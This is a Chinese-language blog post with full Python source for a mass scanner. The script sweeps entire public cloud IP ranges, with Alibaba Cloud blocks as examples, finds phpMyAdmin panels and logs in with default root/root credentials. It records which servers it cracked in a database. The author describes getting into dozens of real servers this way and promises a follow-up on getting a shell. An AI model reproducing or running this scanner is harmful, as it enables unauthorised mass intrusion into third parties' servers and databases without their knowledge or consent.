编写python脚本批量扫公网云服务器拿phpmyadmin后台

编写python脚本批量扫公网云服务器拿phpmyadmin后台

写这篇文章其实是为我的下一篇文章利用phpmyadmin来get shell做铺垫的,因为做渗透是一个逐渐深入的过程。当然信息收集是一开始最为重要的一个过程。我要通过phpmyadmin来拿shell,则肯定需要知道哪些服务器上部署了phpmyadmin。所以自己编写了一个python的脚本实现对整个网段的扫描。

不过开始之前,我想说一些自己的观点&想法。

  1. 为什么要批量扫云服务器的后台?个人认为随着这几年云计算的的普及,各大云服务器厂商都在抢着分这一块大蛋糕。助力用户迁移上云,这确实为我们带来了很多好处。也使得很多初学者直接着手使用云服务器搭建了自己的网站。不过很多人都喜欢使用一键脚本搭建诸如,像linux使用最广泛的ln(a)mp包(linux,nginx或apache,mysql,php),或者是windows上的phpstudy。这个无可厚非,毕竟这个解决了很多繁琐的步骤,节省了大量时间,对初学者很友好。但是也正因此,许多的安全隐患就暴露出来了,使用这些方式来搭建都有一些共性,刚搭建完成phpmyadmin,phpinfo,探针都是默认在网站根目录下面的。所以直接扫网站根目录即可。
  2. 很多小白用户就是喜欢在安装过程中一直点下一步或是回车敲到底。导致安装时都是默认配置,以lnmp为例,在用户不选择的情况下,mysql版本默认为5.5.60,php为5.6.36,phpmyadmin的默认账号密码都是root。(不得不说安全中最薄弱的环节还是在 人 )
  3. 虽然有很多现成的工具可使用,比如御剑,wwwscan等等。但是这些都是针对单个网站目录的扫描,而我要做的是对整个网段的扫描,所以自己写脚本来实现。很多脚本小子对工具都特别依赖,我个人却对这样的做法有点嗤之以鼻。个人觉得做安全是对原理的分析,思维的对抗。懂得工具的原理,哪怕是如法炮制来写一个工具所得到的收获都比脚本小子要强得多,不过这需要一定的编程基础。

不说多的,直接上源码:


import requests
import IPy
import re
import datetime
import pymysql
 
db = pymysql.Connect('你的服务器ip', 'mysql用户名', '密码', '数据库名')
cursor = db.cursor()
 
ipsegment = input('请输入ip网段:')
filename= ipsegment.split('/')[0]
file_1= filename+'.txt'
file_2 = filename+'_root.txt'
 
payload = {'pma_username': 'root', 'pma_password': 'root'}
headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64)'}
ip = IPy.IP(ipsegment)
phpmyadmin = []
phpmyadmin_root = []
for i in ip:
    url= 'http://'+str(i) +'/phpmyadmin/index.php'
    print(url)
    try:
        scan_ip = requests.head(url,timeout=0.15,allow_redirects=False)
        if scan_ip.status_code == 200:
            try:
                if re.search('phpmyadmin', scan_ip.headers['Set-Cookie']):
                    print('这是一个phpmyadmin的后台!')
                    phpmyadmin.append(url)
                    try:
                        r = requests.post(url, headers=headers, data=payload)
                        if 'name="login_form"' not in r.text:
                            print('使用默认密码登录成功')
                            password = 'root'
                            version = ''
                            if 'phpStudy' in r.text:
                                version = 'phpStudy'
                            phpmyadmin_root.append(url)
                        else:
                            print('非默认密码!')
                            password = ''
                            version = ''
                        sql = "insert into ip (ip,url,password,version,更新时间) VALUES ('%s','%s','%s','%s','%s')" % (i, url, password, version, datetime.datetime.now())
                        cursor.execute(sql)
                        db.commit()
                        print(sql)
                    except Exception:
                        pass
            except KeyError:
                print('没有set-cookie,非phpmyadmin后台')
    except Exception:
        pass
db.close()
 
with open(file_1,'w') as f,open(file_2,'w') as e:
    f.write("\n".join(phpmyadmin))
    e.write("\n".join(phpmyadmin_root))

其实会发现,用python写一个脚本也挺简单的。(人生苦短,我用python!)

scan_ip = requests.head(url,timeout=0.15),设置timeout的时间要根据你和该网段之间的延迟来设定,若设置的太小,可能会漏扫,设置的过大会影响整个脚本运行的速度。因为我是把脚本放在我自己的阿里云服务器上运行的,虽然延迟很低,但为了避免漏扫,我还是设置为了0.15s的超时。脚本也用的是http的head方法,提高扫描速度。

另外我懒得写多线程,想同时对多个网段进行扫描的话,直接开多进程即可。但是短时间建立大量的tcp连接,对延时还是有一定影响的。

可能很多人对IPy这个库并不熟悉,可以参考一下https://blog.csdn.net/parameter_/article/details/74942682

这个脚本很简单,但我还是稍作一下解释。就是输入的是一个网段!网段!网段!。我以阿里云的网段为例,比如47.100.0.0/16,47.95.0.0/16 ,47.106.10.0/24等等这种形式。再提醒一下,输入的是一个网段!

因为阿里云在国内云市场独占鳌头,用户数量也最多,所以我就以阿里云的网段为例。

在我的windows服务器运行该脚本。

扫描完成后会在脚本运行的目录下自动生成一个在该网段扫到的ip,可访问的phpmyadmin链接

不过有一点,我要先说明,为了保证脚本的运行速度,我就没对一些301,302的跳转做过滤。不过这个影响不大。

我在对这些扫到的phpmyadmin中还是找到了不少没有改动过默认密码的。。。账号密码都是root。

随便找了一个,打开phpmyadmin的登录界面。

登录成功,看了一下好像也没什么重要的数据。

我目前仅仅扫了几个网段,手里就已经拿到了几十台服务器的phpmyadmin的后台管理权限。(突然感到细思极恐)

这种对整个网段的扫描,是一种扩大攻击面的方法。我的下一篇再详述如何点面结合,如何通过渗透phpmyadmin来getshell。姿势要骚,因为into outfile 的方法已经过时了。感兴趣的话,请关注我的下一篇文章。

赞赏

微信赞赏支付宝赞赏

Zgao

愿有一日,安全圈的师傅们都能用上Zgao写的工具。